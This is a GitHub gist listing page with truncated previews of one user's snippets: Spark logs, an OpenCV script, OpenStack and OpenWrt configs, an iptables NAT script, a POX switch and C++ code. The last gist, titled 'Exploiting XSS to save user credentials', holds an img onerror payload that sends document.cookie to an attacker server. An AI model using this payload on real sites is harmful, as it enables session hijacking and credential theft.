Skip to content

Instantly share code, notes, and snippets.

View samos123's full-sized avatar
🎯
Focusing

Sam Stoelinga samos123

🎯
Focusing
View GitHub Profile
@samos123
samos123 / gist:3300191684aee7fc8013
Created May 28, 2015 15:31
full stderr log of spark worker
Using Spark's default log4j profile: org/apache/spark/log4j-defaults.properties
15/05/28 15:16:22 INFO CoarseGrainedExecutorBackend: Registered signal handlers for [TERM, HUP, INT]
15/05/28 15:16:23 WARN NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable
15/05/28 15:16:23 INFO SecurityManager: Changing view acls to: hdfs
15/05/28 15:16:23 INFO SecurityManager: Changing modify acls to: hdfs
15/05/28 15:16:23 INFO SecurityManager: SecurityManager: authentication disabled; ui acls disabled; users with view permissions: Set(hdfs); users with modify permissions: Set(hdfs)
15/05/28 15:16:24 INFO Slf4jLogger: Slf4jLogger started
15/05/28 15:16:24 INFO Remoting: Starting remoting
15/05/28 15:16:24 INFO Remoting: Remoting started; listening on addresses :[akka.tcp://[email protected]:33398]
15/05/28 15:16:24 INFO Utils: Successfully started service 'driverPropsFetcher' on port 33398.
@samos123
samos123 / gist:885f9fe87c8fa5abf78f
Created May 28, 2015 15:29
spark-extract-sift-features.py
from __future__ import print_function
import sys
import os
import cv2
import numpy as np
def extract_sift_features_opencv(imgfile_imgbytes):
## This is from neutron port-show command
neutron port-show e5e3906b-24d8-4642-9876-2ac06f984809
+-----------------------+--------------------------------------------------------------------------------------+
| Field | Value |
+-----------------------+--------------------------------------------------------------------------------------+
| admin_state_up | True |
| allowed_address_pairs | |
| binding:host_id | node-7 |
| binding:profile | {} |
@samos123
samos123 / vocore_config_network
Created November 13, 2014 09:09
vocore wan dhcp , lan wifi configuration
config interface 'loopback'
option ifname 'lo'
option proto 'static'
option ipaddr '127.0.0.1'
option netmask '255.0.0.0'
config globals '
@samos123
samos123 / vboxhostonly_nat_router.sh
Created November 2, 2014 02:47
Giving a host only virtualbox network internet access by making the vboxhost a natted router
#!/bin/bash
network_with_inet_access=wlan0
private_natted_network=vboxnet1
sudo iptables -t nat -A POSTROUTING -o $network_with_inet_access -j MASQUERADE
sudo iptables -A FORWARD -i $private_natted_network -o $network_with_inet_access -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo iptables -A FORWARD -i $private_natted_network -o $network_with_inet_access -j ACCEPT
@samos123
samos123 / heat_vm_boot_from_volume.yaml
Created October 31, 2014 09:20
A heat template which creates a vm booted from a cinder volume that contains the image
heat_template_version: 2013-05-23
description: >
A HOT template that holds a VM instance booted from Volume where the image
is copied to the volume automatically. The VM does nothing, it is only created.
parameters:
key_name:
type: string
description: Name of an existing key pair to use for the instance
@samos123
samos123 / shadowsocks.conf
Created October 18, 2014 12:19
shadowsocks upstart job
start on filesystem
stop on runlevel [016]
exec /usr/local/bin/sslocal -qq -c /etc/shadowsocks.json --fast-open
@samos123
samos123 / l2-learning-switch-openflow.py
Created September 29, 2014 05:11
Using mininet to deeper understand openflow, wrote a simple sdn controller which works as l2 learning switch
"""
This component is for use with the OpenFlow tutorial.
This was modified to work as an l2 learning switch
It's quite similar to the one for NOX. Credit where credit due. :)
"""
from pox.core import core
import pox.openflow.libopenflow_01 as of
@samos123
samos123 / split.cpp
Created June 4, 2014 13:16
C++ split string by delimiter
// Taken from http://stackoverflow.com/a/236803/376445
#include <fstream>
#include <sstream>
#include <string>
#include <vector>
std::vector<std::string> &split(const std::string &s, char delim, std::vector<std::string> &elems) {
std::stringstream ss(s);
std::string item;
@samos123
samos123 / test.html
Last active August 29, 2015 14:00
Exploiting XSS to save user credentials
<html>
<body>
<div id="test"></div>
<img onerror="
var get_params = window.location.search.replace('?', '');
if (get_params.indexOf('redirected=1') == -1) {
window.location.replace('http://server_ip:8080/?cookies=' + document.cookie + '&next=' + window.location);
}
" src="#" />